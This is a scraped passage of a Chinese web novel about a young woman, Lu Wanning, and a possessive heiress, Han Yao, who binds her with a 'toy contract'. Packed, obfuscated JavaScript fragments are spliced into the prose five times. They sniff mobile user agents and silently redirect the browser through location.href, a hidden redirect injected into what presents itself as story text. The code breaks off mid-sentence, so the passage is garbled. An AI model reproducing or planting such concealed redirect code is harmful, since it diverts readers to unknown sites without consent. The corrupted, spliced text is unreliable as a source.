35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353387|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “韩……”她喊,但紧急拐了个弯,换了礼貌的称呼,“小姐。” 说着,陆晚柠有点忐忑:“有件事想请你帮忙。” 她飞快地把厨房大叔大婶的事情说了一遍,末了还没忘解释,那些涉事食材都是要进垃圾桶的,平时主人家用的新鲜食材绝对没人敢碰。 “拜托了。”陆晚柠恳求,“他们要赔好大一笔钱,但是拿不出来,如果你能跟管家说说……” 韩窈静静听完。 最后一朵花瓣也画完了,是很艳丽的紫色矢车菊。 片刻,她说:“和我无关,我为什么要管?” 陆晚柠顿了下,“同情心?” 她看到韩窈轻轻笑了下,没有出声,大概是在嘲笑这个词。 好吧,这果然是个蠢答案。 可是陆晚柠绞尽脑汁也想不到别的回答了,韩窈确实没有帮助他们的理由,甚至被“偷”的食物某种程度上还是属于韩窈的。 她有点挫败:“不行吗?”那天韩窈看到了她屋里的牛奶瓶,却没有怪她,她想或许韩窈是个心地善良的人,所以今天才会冒冒失失上前问。 画笔触及空余的一点白,将画布最后一丝空隙填满。 “可以。”韩窈放下笔,说,“但你要给我一个理由。” 陆晚柠眼看有戏,赶紧接着争取,可是怎么想也想不出来:“理由……理由是……”她几乎想敲敲脑袋,好让自己赶快产生一个聪明的想法,可想得头痛也还是结结巴巴,说不上来。 可恶,别错失机会啊! 韩窈饶有兴致地盯着陆晚柠愁眉紧锁的模样,仿佛觉得很新奇,良久,才眨了眨眼。 那一刻陆晚柠想——会眨眼,这大概是她和洋娃娃的唯一区别。 下一秒她听到韩窈说:“陪我玩吧。” “什么?” “当我的玩具,我可以答应你。” “玩具?”陆晚柠茫然道,“我怎么能当你的玩具?” “怎么不能?” “玩具是东西,是死物啊。”陆晚柠的话里含着浓浓的拒绝之意,虽然她不知道“玩具”代表什么,但她本能地不喜欢,“我是人,又不是芭比娃娃……” 闻言,韩窈没有反驳,只轻声说:“是吗?” 她浅浅地笑了,眼眸微弯。 “那真是可惜了。” 画已完成,韩窈将笔搁下便起身离开了,朝着和陆晚柠全然相反的方向,没再多说一句话。 至于画? 这是她家,她把东西放在什么地方都会有人收的。 望着眼前越来越远的背影,又听着鞋子踩在草坪上的沙沙声,陆晚柠愈发焦急,脑内忍不住开始质疑自己的决定。 其他佣人都没办法左右管家的决定,如果真的想帮帮大叔大婶,韩窈是唯一的机会了。 至于玩具……她们两个年龄相仿,还能怎么玩,不就跟学校里那些游戏差不多吗?大不了她让着点韩窈,多让韩窈赢就是了。 陆晚柠一咬牙。 “韩……小姐!” 她喊,清亮的声音划破寂静的夜空。 “我答应了。” 8. 柠檬 第二天一早,厨房的大叔大婶就收到了通知。 管家先前还气势汹汹,转眼就变了个人,笑吟吟地大发慈悲。 “钱不用赔了,还有一条新规矩:凡是当晚剩下准备扔掉的食物,大家都可以按需拿走,避免浪费。当然,绝不能有偷工减料藏私的行为,否则依旧严惩不贷。” “就……这样吗?” 管家似笑非笑:“这样不好吗?还想怎么样。” “好,好。”厨房大叔大婶不敢置信自己就这样峰回路转,轻易地躲过了一劫。 这对其他人来说也是个好消息,毕竟以前拿东西还要避着人,以后有了准许,就不用躲躲藏藏了。 陆佳惠也很快听说了这件事,但和其他人不同,她告诫陆晚柠:“那些东西还是先别拿了。” “为什么?不都说可以了?” “有一句话叫事出反常必有妖。”其实陆佳惠也说不明白为什么,但直觉告诉她不对劲,“你听话就是了,以后牛奶咱们自己买。” 陆晚柠张了张嘴,她本来想把跟韩窈的约定告诉陆佳惠,可看到老妈谨慎的表情,她决定还是把话烂在肚子里,免得说出来白叫人担心。 可是……玩具。 人到底怎么当玩具? 不过很快,陆晚柠就知道了答案。 *** “所以,晚柠,在这种情况下,你愿意请韩总帮帮忙吗?” 徐珍凝视着她,口吻郑重地请求。 陆晚柠沉默不言。 徐珍缓缓道:“你不愿意,我也不能勉强。只是每个项目都是大家的心血,包括你这段时间也付出了很多,我想你一定也希望它们都能成功。” 她以退为进,循循善诱。 半晌,陆晚柠问:“如果我拒绝,会怎么样?你会让我走人吗?” “我不至于这么狭隘。”徐珍直白地说,“只是如果这条路走不通,就要想想别的办法,部门之后的业务压力会很大。” 大约过了整整五分钟,陆晚柠都没有说话,甚至都没怎么眨眼,只直直地盯着面前的人。目光明明落在徐珍身上,却又像是在透过她看着谁一样。 徐珍试图从那双眼中读出情绪,还有她在想什么,却一无所获。 在服务员又一次敲门询问时,陆晚柠站起了身,米色西装的下摆蹭过桌布,软软地垂下,有那么一瞬,她觉得这件外套成了她最后的防御。 “我试试。” 陆晚柠声音有点哑。 随后她没再多说,便径自走出了包间。 …… 已是晚上八点半,复城的那座大厦依旧灯火通明,无数员工还在里面辛苦工作,对他们来说,夜晚才刚刚开始。 大楼有二十四小时安保,不明人士随时会被虎视眈眈的保安请出来。 陆晚柠没有员工牌,也不是登记在案的访客,但她将手指放在闸机上扫描指纹的时候,机器还是响起了一声尖锐的通过提示音。 保安见她穿得正式,又长得不像坏人,便没多留心,只心想现在的打工人真苦啊,快九点了还不下班。 复城的权限很严格,员工只能凭借指纹或员工牌去往所属部门的楼层。而此刻,电梯不用按,对应的楼层便随之亮起。 陆晚柠面无表情地踏进电梯。 数字稳步上升到三十六楼。 五年没来,装潢变了,换了新的瓷砖和墙面漆,但她忘不掉那条路。 出电梯后沿着走廊直走,右转,尽头有一扇雪白的门。其他的门上都清楚地标注着编号及用途,唯独这上面什么都没有。 韩大小姐的专属办公区域。 陆晚柠一步一步,最终站在了门前。 闭上眼,她仿佛能听到那些流逝岁月里,曾在这里响起过的声音。 ——“摸摸我的心跳……你知道吗?这里很容易痛的。但是,只要看到你就会很安心。” ——“所以,你要一直在我视线范围里。” ——“就连你每秒钟的呼吸我都不想错过……柠檬,我真的是疯子,是不是?” 如果韩窈是疯子,任由她这样做的自己又是什么。 ……好吵。 早就过去的事,为什么总在耳边叫。 陆晚柠睁开眼睛,用力推开了门。 冷风从大开的窗外灌入,一瞬席卷她的全身。 屋里没有开灯,纤细的、穿着真丝睡裙的身影静坐于书桌前,洋娃娃似的面孔隐在黑暗当中,只被窗外所剩无几的月色勉强勾勒出身形的轮廓。 韩窈微微歪头。 “晚上好。” 陆晚柠盯着她的眼眸。 那双猫一般的眼睛,泛着点点难以辨别情绪的光,像是早就预料到有客人会到来。 “还要装吗。”她冷声说,“不是你想办法让我来的?” 可韩窈却仿佛什么都不知道,只是回以微笑。 “我没说过这样的话。” 那一点佯装的、恰到好处的疑惑宛如挑衅,令陆晚柠脑海中绷着的那根弦一刹断裂,她大步上前,怒目圆睁,情绪喷薄欲出。 可是韩窈非但没避开那双眼,反而抬眸问:“怎么,要打我?” 陆晚柠深吸一口气:“……你觉得我不敢?” “你胆子那么大,有什么不敢?” 韩窈起身,一步步靠近。陆晚柠有很多机会可以后退,可身子就像是被钉在原地一般,死死呆住。 就这样,她的右手腕被韩窈握住。 随后手掌贴在了那张很久没有碰过的脸颊上。 “可是。”韩窈轻声说,“你抖什么?” 陆晚柠的确在发抖,从手指到手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353388|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕、手臂,颤得不成样子。明明轻而易举就能甩开,可她就是做不到。 为什么那么冰。 韩窈的笑容愈发明艳:“怎么不打?”她继续带着陆晚柠的右手,一点点触碰自己的脸颊、脖颈,“不舍得吗?” “你也知道这不是求人帮忙的态度吗?” 良久,陆晚柠用力地抽回了手。 “你想要什么?” 她们两人之间不需要废话。 就像韩窈知道,就算她再恶劣,陆晚柠对她动不了手。 就像陆晚柠知道,只要是韩窈想要的东西,不论怎样、不择手段,她都一定要得到。 从韩窈再次出现的那天起,事情就乱了套,这段时间短暂的平静不过是暴风雨来临之前的预兆。每一件事情的发生都经过精心设计,最终铺成唯一的一条、往前走的必经之路。 她早就知道的。 …… 很多年前,韩窈曾经把一张纸递给陆晚柠:“写你的名字。” “……协议?”陆晚柠皱起眉头,打量一眼,这几个字眼对她来说十分陌生,“协议是什么?” “就是你我之间的约定。签了之后,你就是我的玩具了。” 字都还没认全的年纪,那一张纸上密密麻麻写了几十条,陆晚柠看得一知半解,迷迷糊糊,什么也没搞明白。 “我……” “你答应过我的。” 韩窈的眼中流露出微微的受伤。 “要反悔吗?” “……” 那张脸表情未变,眸中顷刻泛起的水意却做不了假。 陆晚柠看不得她伤心,即便心里有些犹豫,也不由得动摇起来。她纠结片刻,心想算了,反正是自己答应过的事,不就写个名字嘛?能怎么样? 于是,她接过笔,歪歪扭扭地签了“陆晚柠”三个大字。 “好了吧?” 利索写字的动作似乎取悦了韩窈,很快,她抿唇而笑:“嗯。” …… 眼前,风吹起桌上装订好的纸页,页数不算多,在寂静中发出“哗啦”的声响。 和许多年前不一样的是,这次韩窈什么也没有说。 可那双水盈盈的眼睛仿佛会说话,视线从头到脚划过陆晚柠,如同在欣赏自己的作品。 ——发梢触肩。棕色。 她喜欢的长度。 ——米色外套,剪裁得很得体,恰到好处贴合身形,勾勒出肩膀的线条,既不过分垂坠也不生硬。 她选的衣服。她喜欢的面料。 都在她想见的人身上。 啊,心情真好。 还有比这更令人愉悦的事情吗? 韩窈笑眼弯弯,用指尖敲了敲那份打印出来的空白文件。 ——她要陆晚柠再一次写下自己的名字。 9. 柠檬 *** 半小时后,陆晚柠回到餐厅包厢的时候,里面多了几个陌生的身影,而徐珍正举杯喝酒。 从她的表情来看,先前的烦躁已经一扫而空,此刻,她就连眼中都弥漫着笑意:“我敬各位。” 对方的人也很给面子:“徐总,您太客气了。最近多有怠慢,还请您和团队海涵啊。” 徐珍刚要说话,余光瞥到服务员为陆晚柠开门的动作,笑吟吟道:“晚柠回来了?来,我介绍一下,这几位是复城的……” 陆晚柠怔了一下,连忙跟在徐珍身后,和对方点头打招呼。 她有些狼狈地将双手背着,指间捏着的几张纸匆忙地对折、再对折,以免其他人看到上面的字。 这一顿饭,陆晚柠吃得有些心不在焉,好在她一个新人本来也不需要做什么,只需要在适当的时候跟大家一起喝点酒就好了。 他们聊了不少东西,譬如项目的难点在哪里,后续还要做什么工作,以及近期的进度为什么迟缓——当然,大多都只是场面话,真实情况是什么样,就只有当事人才知道了。 但今晚,双方之间至少有了良好的进展。 作为总负责人的徐珍喝了不少,把复城的人送出门时,脸颊已经染上两抹酡红。好在她酒量不错,只是眼神有些飘忽,总体还是口齿清晰的。 她把手机递给陆晚柠,示意对方帮自己叫车:“默认地址。” “好。” 复城的人或许没注意到那么多细节,但徐珍自然看到了陆晚柠回来时多出来的那样东西——一沓内容不明的纸页,但她选择没有多问,只是说:“今天多谢了。” 司机还有3分钟到。 她这样一说,陆晚柠就又回忆起不久前在复城大厦里和那个人面对面的场景,有些不自然地错开目光:“没什么可谢的。” 她扶着徐珍,两人出了餐厅,在路边等车。 帝都的夜风很凉,喝完酒一吹容易更加晕晕乎乎,徐珍示意陆晚柠不用扶了,眯起眼睛,叹了口气:“真的谢谢。” 她说:“我为这几个项目忙活半年了,如果真的死在这一步,我都不知道怎么跟团队交代。” “……嗯。”陆晚柠不知该说些什么,只含糊地应下。 “你还好吧?不舒服的话,回家泡点蜂蜜水喝。” “嗯,我没事。” 很快两人的车分别都到了,她坐上后座,停顿片刻,这才将揣到背包里的文件拿出来。 车内昏暗的灯光映出最上面的标题。 ——玩具合约。 荒唐又可笑、在人格层面根本不成立的字眼,任谁看到都会觉得是小孩子在过家家,却被这样认真地排版打印出来,让陆晚柠一瞬产生了错觉,觉得这好像是什么严肃无比的事似的。 可分明就是一场闹剧。 她握着协议的手指微微地颤抖着,几乎要将纸张攥破。小时候不懂事的时候写写也就算了,现在她们两个都是大人了,双方签任何合约都是有法律效力的,为什么韩窈脑子里在想的还是这些…… ——因为,五年改变不了一个人。 韩窈有很多习惯。譬如头上戴着的蕾丝发带,做事时将头发挽成侧马尾放到右边,哪怕再开心,笑起来也只是微微地抿一抿唇,绝不会露出牙齿。 还有她这个玩具。 陆晚柠其实早就猜到了,从在公司和韩窈对视的那一眼她就知道会有这一天的到来。只是她一直抱有侥幸心理,哪怕是不到万分之一的概率,也期待事情真的如她所愿。 但是很可惜,并非如此。 韩窈有太多可以谈的条件了,譬如陆晚柠现在的工作,譬如徐珍的请求,可是方才,她却没强迫陆晚柠做任何事,也没要她许下任何承诺,只是让她拿上这份文件,笑笑说,“你先看看。” 随后不费吹灰之力,动动手指就解决了徐珍他们的燃眉之急。 借着所剩无几的月光,陆晚柠一目十行地读完了那些所谓的条款。 小时候的那张纸是韩窈用笔写的,如今这份的措辞要工整严谨太多,乍一看去严肃又正式。 陆晚柠不是律师,不知道这些文字约束的内容到底有没有法律效力,也不清楚背后代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353389|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着什么权力责任义务,但她知道一份合同里最重要的就是违约条款。 向后翻到倒数第二页,她要找的部分只有一个字。 “无。” 酒精渐渐侵袭上头,陆晚柠没醉,却觉得脑子乱乱的,不知该如何思考,甚至不知道自己该有些什么情绪才是。 在韩窈面前她好像从来没赢过。韩窈太知道怎么让她妥协了。 以前陆佳惠就这样说过她:“你这孩子看着像个刺头,其实心软得要死,看到别人受苦就忍不住帮忙,这样不好。” “为什么不好?” “像我们这种穷人,又没有钱,只剩下善心了。”陆佳惠懒洋洋说,“所以别人想要利用你的时候,会选择什么呢?” “……所以,善心等于愚蠢吗?” 陆佳惠叹了口气:“也不是吧,有好有坏。” 不过后来陆晚柠长大了,也渐渐明白了老妈讲的道理。 心软是她改不掉的毛病,所以她会为了不怎么熟悉的厨房大叔大婶,向只有一面之缘的韩大小姐开口,哪怕跟她毫无关系。 所以她也不忍看到为了项目努力了很久的徐珍失望,为此不惜直面韩窈。 所有这些事全都没有“违约责任”,一切全凭良心,正因如此,她才无法拒绝。 手里这份合约也一样。 可是她,真的还能再靠近韩窈吗? “到了。”恍惚间,前排的司机师傅提醒,“没睡着吧?” 陆晚柠道了声谢,把攥得皱皱巴巴的纸页再次叠起来塞进包里。 出电梯的时候,徐珍给她发了条信息,“到家了说一声哈,注意安全。” 陆晚柠站在家门口,打字回她消息,回完抬眸看到门上贴了一张便利贴。 又一次。 还是用笔画了一个小巧的柠檬。 陆晚柠骤然变色,用力地一把撕下,塞到西装外套的口袋里。 那一瞬她忽然生出一种冲动,她是二十三岁不是十三岁了,她不要再像狗一样被韩窈玩得团团转了。 这一次她要拿到主动权。 10. 柠檬 *** 跟复城合作的项目进展超乎寻常的顺利,捷报频传。 公司的财务都震惊了,反复确认:“这么快就要准备打款了?这么大一笔,这么快?发票还是后开?” “对。”陆晚柠打了个哈欠。 财务震惊到说不出话,过了几秒钟,才把她要的收款账号发过去,“你也是好起来了,羡慕啊,这下子奖金不少吧。” 陆晚柠挑眉没说话,不过也在心里悄悄计算了一下——嗯,虽然分到她头上应该没多少,但蚊子再小也是肉嘛。 她往回走的时候路过茶水间,看到一群不熟悉的同事在里面冲咖啡聊天。 陆晚柠不怎么喝咖啡,平时只来这里接接水,刚想接着走回工位,便听到里面断断续续传来了自己的名字。 “那个小陆啊……” 她顿住脚步。 刚回公司那一阵,很多同事对陆晚柠这个人都很好奇,毕竟在这个世界上,能把上级揍了之后全身而退、不降反升的打工人简直是少之又少,因此大家都想知道这背后究竟发生了什么,更好奇她是不是有什么不可告人的背景。 陆晚柠懒得理睬这些,不管谁问,都一概冷脸说不清楚。久而久之,这些人看她的眼神也越来越复杂了。 都过了这么久还在讨论?真无聊。 不过里面传来的话音倒是有些出乎陆晚柠的意料。 “她呀,她就是一个普通女孩,正常打工的啦。你看她平时很低调的呀。” “不会吧,要真是这样,她怎么能进徐总的部门?天降好运吗?” “诶你还真别说,就是天降好运。”说话的人警惕地回头看了一下,确保无人路过。 陆晚柠下意识倾了一下身子,没被看到。 “那天听说复城的大领导都来了呀,被人家看到这种丑事,不是应该倒霉吗?” 一人在手机上轻轻点了几下,给其他人展示网络上的界面,是某个公开活动中韩窈的照片:“哪是区区领导而已,来的是韩家大小姐。就照片上这个。” 其他人瞪大眼睛。 “……我去,这种身份居然亲自过来?” “我司什么东西啊,居然也配韩大小姐走一趟?” 那天在场的人立刻回忆起来,激动道:“对对,就是她,长得比明星还漂亮,笑起来眼睛弯弯的。” “要不说天降好运呢?不过这话可别跟别人说啊,那天人家韩大小姐心血来潮下‘基层’巡视,刚好撞见了这一幕,很关心发生了什么,还专门嘱咐一定要保护好员工的权益。人家都发话了,公司哪敢不从呀,所以前段时间才支持所有受害女生起诉姓高的,最近也严格教育管理层在这方面多加注意。” 其他人恍然大悟:“原来是这样啊!” “我就说我司这么抠门,怎么会愿意专门拿出一笔钱来提供法律援助,原来是为了舔金主……” “呵呵别说了,我垫付的钱现在还没报给我呢,狗公司赶紧打钱……” “害,这事的结果倒是挺好的,虽然是为了舔复城,但有总比没有强吧,至少能够起到警示人渣的作用。” 陆晚柠听了一会儿。抛开其他因素不谈,这事的确在公司里起到了不错的效果,男领导们人人自危,开始注意自己说话做事的分寸,也算是造福其他人了。 这样想着,心情稍微轻快了点。 这些人爱八卦就八卦吧,她从来不在意别人怎么在背后说她,无所谓。 忽地,有人问:“诶,那个韩大小姐,比照片上还漂亮吗?” 陆晚柠刚准备走,脚步又顿住。 “对啊,刚不是说了么,长得跟明星似的。” “又好看又有钱,让不让普通人活了,女娲你捏我们的时候是有什么心事吗?” “这样,上班暂停,我去入赘。” 当即惹得旁边人一阵嘲笑:“不是烙铁家里没有镜子总有尿吧,人家要是能看得上你那就是世界第八大奇迹了。” “万一呢,那么多大小姐眼瞎看上凤凰男,我怎么就不行了?” “求入赘大小姐无痛继承家产教程。”“+1。”“+2。” 几个人聊得正起劲,茶水间没关紧的门倏然被重重推开,摩擦地面发出刺耳的响,把所有人都吓了一跳,回头皆面面相觑。 陆晚柠一言不发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353390|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用手重重地拍了一下入口处老旧的咖啡机,又发出“砰”的一声响,震得那几人又是一抖。 “小陆,你干嘛?”不知道刚才的对话被她听到了多少…… 陆晚柠眼睛都没抬:“咖啡机不太好用而已。你们继续啊。” 可有她在这里,他们哪里还会接着聊? 接完了咖啡,陆晚柠端起纸杯:“回工位吗?”她说,语气听起来并不像在开玩笑,“还是你们要接着研究入赘?” 玩笑话被听了去,几个同事略显尴尬,可话又说回来,他们年纪都比她大不少,她干嘛这么上纲上线的,以为自己是领导吗? “开玩笑而已啊。” 陆晚柠平静说:“哦,不好笑。” 茶水间内一片尴尬,片刻,几人纷纷起身离开了,默默在心里白了她一眼,走远了,还没忘低声嘟嘟囔囔,“还是太天真了,我们口嗨关她啥事,被拯救了一次就开始帮资本家说话,he~tui!” 陆晚柠没办法堵住所有人的嘴,但她想至少近期不会再听到有人讲她不爱听的话了。 她低头看着平时根本不喝的咖啡,一满杯,浪接都接了再倒掉也挺浪费,于是浅浅啜饮了一口——嘶,真苦啊。 不加奶和糖的意式浓缩,依旧喝不习惯,韩窈以前怎么会爱喝这种东西呢? 韩窈韩窈,又是韩窈。好像凡事只要一牵扯到韩窈,陆晚柠就难以控制自己。 她知道那些人并不认识韩窈,所谓韩大小姐,在他们眼里也只是某种等同于资本的符号,所以能够拿来玩笑取乐。 可是“韩大小姐”四个字以调侃的口吻在他们口中出现的那一瞬间,她依旧想冲进去揪住那些人的领口,凶狠地告诉他们,不能用那种方式谈论韩窈。 距离陆晚柠拿到那份荒谬的合约已经过去了两周,这期间她没有收到过对方的任何联系或是催促。但正因如此,事情反倒显得更棘手了,因为无从预期下一次——见面也好,转折也罢,将会在什么时候到来。 不论怎样,以不变应万变,别轻举妄动。 正想着,手机震了一下。 陈茵:“来一下,有东西给你。” 11. 柠檬 换了部门之后,陆晚柠和陈茵见面的机会就少多了,但两人的关系依旧很要好,中午也会经常约着一起吃饭。 不过公司里各团队之间的关系很复杂,所以她们也不好太在表面上明目张胆地互动。 陆晚柠回去的时候刻意绕了下路,“不经意”路过陈茵的工位。 陈茵表面不动声色,背地里却悄悄塞了个东西过来,偷偷眨了一下眼睛。 是一张……理发店优惠券? 陆晚柠坐下之后,就又收到了陈茵的信息:“我在理发店办卡送了券,拿给新客用可以免费染发。估计是他们什么拓客手段吧,你拿去用啊。” 距离陆晚柠上一次染发已经过去了很久,发根早就长出了一截新的黑色。 她照了照镜子,如今头发自上到下从黑渐变成栗棕,倒也不难看,只是她有点强迫症,确实想要去补一补。 两人都装成在认真工作的模样,正襟危坐,实则摸鱼打字聊天。 陈茵:“放心,他们手艺还不错的,不是那种三无小作坊。” 陆晚柠:“只听说过送剪发的,送染发还是第一次见。你这是充了多少钱?” 陈茵很心虚地打出一句:“三万……” 陆晚柠浅浅扣出一个问号:“?” 据她所知,这都能顶陈茵两个月工资了。 陈茵:“哎呀人生得意须尽欢懂不懂,赚钱就是用来花的!” 陆晚柠:“但你这个‘欢’也太贵了吧,尊重祝福。” 陈茵:“贵是贵,可是这家的tony老师真的手艺很好,你刚才看到我新烫的卷了吗,是不是很绝!” 陆晚柠茫然地问:“烫哪了?” 陈茵:“是那种很高级的纹理烫啊!你没看出来?” 陆晚柠:“……我还以为是睡乱的。” 陈茵:“……” 陈茵:“(▼へ▼)下班小心点,姐要把你揍成烂柠檬!!!” 陆晚柠:“不管怎样,感谢金主妈妈的馈赠让我免费染头^^” 她还想再皮两句,余光瞥见徐珍走过来,手指一顿,赶紧用快捷键切换了界面。 不过徐珍心知肚明似的,经过时依旧用指尖点了点她的桌子,淡淡道:“上班时间少聊天。” 怎么领导都自带透视功能么?明明什么都没看到。 那天工作不算多,陆晚柠没加班,下班没有什么特别的事情要做,心思一动,择日不如撞日,便去了陈茵说的那家理发店。 她本以为这家店是那种销售话术了得的类型,否则怎么能把陈茵忽悠得充了这么多钱,实际到了之后才发现与想象中大相径庭。 这是家才开业没多久的新店,装修成极简风格,黑白撞色又独具一格,入眼的视觉冲击力极强。 “您好,用体验券是吗?”门口的洗头小妹接待了陆晚柠,客气得恰到好处,又不过分热情,“里面请。有想要指定的老师吗?” “没有,都可以。” “想剪个什么样的发型?” 陆晚柠绕起一缕发丝,对着镜子打量了下:“剪短一点。”她用手比划到耳朵下面一点的位置,“差不多这里。” 小妹“咦”了一声:“您不考虑再养长一点吗?” “短发省事。” “嫌长发打理起来麻烦?” “嗯。” 小妹絮絮叨叨地说着自己的见解,因着语气很和善,听着倒也不会令人厌烦:“也看您想要什么样的气质了,短发更锐利些,现在这个长度比较温柔,进可攻退可守,披发和扎起来都很方便。” “就像这种。”她还找出杂志上的模特图,“特别适合秋天。” 陆晚柠也忍不住多看了几眼。 不得不说,这个小妹的审美还挺精准,那个模特的长相的确和陆晚柠有几分神似。 但即便如此,她的回答还是很坚决,“就剪短吧,再把发根补个色。” 小妹便没有再劝,乖巧地带陆晚柠去洗头。不过冲水的时候,她好奇地问道:“您为什么喜欢短发?” “……” “喜欢酷酷的风格?” “倒也不是。”她对这些没有偏好,怎样都行。 “那,单纯方便打理?” “……一部分吧。” …… 另一部分原因是,从前陆晚柠好像并没有太多发言权。在韩家的时候,她的头发是长是短,扎成什么模样,她自己说了不算,全权由另一个人决定。 刚成为韩大小姐“玩具”的时候,她也曾经弱弱地抗议过,“我自己的头发,为什么不能做主?” 面对陆晚柠的不满,韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353391|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窈静静听着,而后拿出双方签字的那张纸。 “你答应了呀。”韩大小姐用一种天真又梦幻的口吻说,仿佛在讲童话故事,还带了一点点困惑,“你穿什么衣服、头发留多长,都要听我的。不然怎么算作玩具呢?” 陆晚柠一时语塞:“可……可……”她摸了摸头,有些烦恼,“可是我的头发太厚了,真的又闷又热,洗起来也不方便。” “留到这里。” 韩窈的手落在她肩膀上。 随后缓缓游弋到颈侧,冰凉的指腹搭着跳动的颈动脉,跟着跳动的频率,轻轻点着她的皮肤,最终滑到脸颊上。 陆晚柠感觉自己的脸——不,准确说是被韩窈碰过的每一寸皮肤,都害臊得快要烧起来了,大概会比苹果还要红吧。还好这里没有镜子,她不用正视自己这种尴尬的模样。 韩窈凝视着面前躲开视线的狼狈姿态,绽出柔柔的笑靥,却没给她拒绝的余地: “留到这里,会很漂亮的。” 不知道为什么,陆晚柠觉得自己的脸好像更烫了。她别别扭扭地转过头:“你老摸我脸干什么。” “玩具不能摸吗?” 算了,说不过她。 陆晚柠气鼓鼓,心里决定就当是在玩过家家,她让着韩窈,不跟她一般见识。 只可惜那时候她没意识到这并不是过家家,韩窈说过的每一句话都是认真的。 …… 总之现在她可以自己掌控了。 碎发到处飘散,所以陆晚柠闭着眼睛。 Tony老师很快处理完她的刘海,有点可惜地问:“真的剪短咯,不能后悔哈?” “嗯。” 于是“咔嚓”几声,几缕发丝落地,又变回干净清爽易于打理的长度。 手机震了一下,陆晚柠依旧没睁眼去看。 又过了约莫二十分钟,Tony老师把围布揭开,清理掉落的碎发:“完成了,还满意吗?” “嗯。”陆晚柠对着镜子端详,“挺好的,谢谢。” 手机好像是收到了消息,但进了垃圾箱,估计是什么诈骗短信,所以她没有点开看。 没过多久,就被手机自动清理掉了。 …… [短信来自未知联系人] [“你好像一定要让我生气。”] 12. 柠檬 *** 晚上十一点,明明是休息时间,手机却忽然疯狂地震了起来。 [群聊·部门工作群-大家冲鸭!] 项目经理:“同志们!!!” 项目经理:“[喜气洋洋表情包]” 项目经理:“刚跟财务确认过了,复城打钱了!!!苍天不负有心人!!!” 这个好消息把所有人都炸出来了,丝毫没有被打扰的不悦,都开始在群里欢呼雀跃起来,庆祝这个天大的好消息。 今年下半年业务进展不太好,和复城成交的这一单犹如雪中送炭,金额还不小,极大程度上拯救了部门的绩效。 徐珍:“[红包]” 徐珍:“这段时间辛苦大家了,我请大家吃点好吃的。” 项目经理:“!!!人狠话不多,社会我徐姐,感谢老大的大红包!” 其他人也纷纷在后面跟队形:“感谢金主妈妈!”“嘘寒问暖不如打笔巨款,我宣布徐总就是全世界最温暖的领导^^” 陆晚柠本来和室友坐在沙发上一起看综艺,结果这动静实在不小,吵得她放下手里正在织的冒险,看了眼手机,“咦”了一声:“部门群发红包了。” “快抢!”室友比她还激动,“看看手气。” 陆晚柠挑眉:“五百块。”不得不说徐珍还真的是很大方,总共发了好几千块。 “这么多!”室友想起什么,忽地冷笑一声,充满怨念地碎碎念叨,“没有对比就没有伤害,我领导今天让我带咖啡还没给我钱,我暗示丫还装听不懂,老登我祝你人没事吧。” “别气,工作不值得。”陆晚柠说,“这四百块就是我们明天的晚饭钱了,我请。” 室友的情绪来得快去得也快,前一秒还咬牙切齿,听她这么说,立刻就破涕为笑了:“呜呜呜柠柠你真好!” 陆晚柠莞尔一笑:“共同富贵嘛。” 室友的名字叫周雪儿,两人之前在某个租房群里认识,聊得还算投缘,就决定一起合租了。 